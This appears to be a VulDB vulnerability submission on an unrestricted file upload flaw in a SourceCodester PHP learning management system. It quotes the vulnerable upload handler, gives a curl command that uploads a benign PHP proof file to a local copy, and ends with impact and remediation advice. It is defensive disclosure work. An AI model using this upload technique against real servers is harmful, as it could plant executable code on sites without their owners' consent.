| Title | SourceCodester Learning Management System 1.0 Unrestricted File Upload |
|---|
| Description | link: (https://www.sourcecodester.com/php/18739/syllabus-aligned-learning-management-examination-system.html)
# Unrestricted Class File Upload Under the Web Root
**Affected file:** cictportal/upload_files.php, lines 5–27
**Category:** Unrestricted File Upload (CWE-434)
**Precondition:** An instructor or super-admin session. No ownership check ties the account to the requested subject.
## Description
The handler accepts an uploaded file's extension without an allowlist or content validation and writes the file into uploads/class_docs/, under the application web root. It also accepts any subject_id supplied in the query string.
## Vulnerable source
~~~php
if (!isset($_SESSION['role']) || !in_array($_SESSION['role'], ['instructor', 'super_admin'])) {
header("Location: dashboard.php");
exit();
}
$subject_id = $_GET['subject_id'] ?? 0;
$faculty_id = $_SESSION['user_id'];
if (isset($_POST['submit_upload'])) {
$target_dir = "uploads/class_docs/";
if (!is_dir($target_dir)) mkdir($target_dir, 0777, true);
$original_name = basename($_FILES["class_doc"]["name"]);
$ext = strtolower(pathinfo($original_name, PATHINFO_EXTENSION));
$new_filename = "DOC_" . $subject_id . "_" . time() . "_" . uniqid() . "." . $ext;
$target_file = $target_dir . $new_filename;
if (move_uploaded_file($_FILES["class_doc"]["tmp_name"], $target_file)) {
$stmt = $pdo->prepare("INSERT INTO class_files (subject_id, instructor_id, file_name, file_path, file_type) VALUES (?, ?, ?, ?, ?)");
$stmt->execute([$subject_id, $faculty_id, $original_name, $target_file, $ext]);
}
}
~~~
## Reproduction
On a local disposable copy, sign in as an instructor and upload a harmless PHP proof file:
~~~sh
printf '<?php echo "CICT_UPLOAD_PROOF"; ?>' > /tmp/proof.php
curl -i \
-b 'PHPSESSID=replace_with_instructor_session' \
-F 'submit_upload=1' \
-F 'class_doc=@/tmp/proof.php;filename=proof.php' \
'http://127.0.0.1:8080/upload_files.php?subject_id=1'
~~~
Inspect the generated file path on the page or in class_files and request it locally. If the server executes PHP in this directory, the response contains CICT_UPLOAD_PROOF; if execution is disabled, the untrusted file is still stored and served from the site.
## Impact
The attacker can publish arbitrary content in a public web directory and inject files into another subject's materials. PHP execution depends on server configuration; HTML/SVG script execution depends on the serving and browser policy. The source provides no deny-execution rule or storage-outside-webroot control.
## Remediation
Allow only necessary types after content inspection, generate an opaque server-side filename, store uploads outside the web root, serve them through an authorization-checked handler, and verify instructor assignment to the subject.
|
|---|
| Source | ⚠️ https://gist.github.com/Ka7arotto/a5c64fd59740958df9b2657bf38db129 |
|---|
| User | Goku (UID 80486) |
|---|
| Submission | 10/28/2026 14:00 (29 days ago) |
|---|
| Moderation | 11/26/2026 09:37 (29 days later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 386534 [SourceCodester Online Examination & Learning Management System 1.0 upload_files.php unrestricted upload] |
|---|
| Points | 0 |
|---|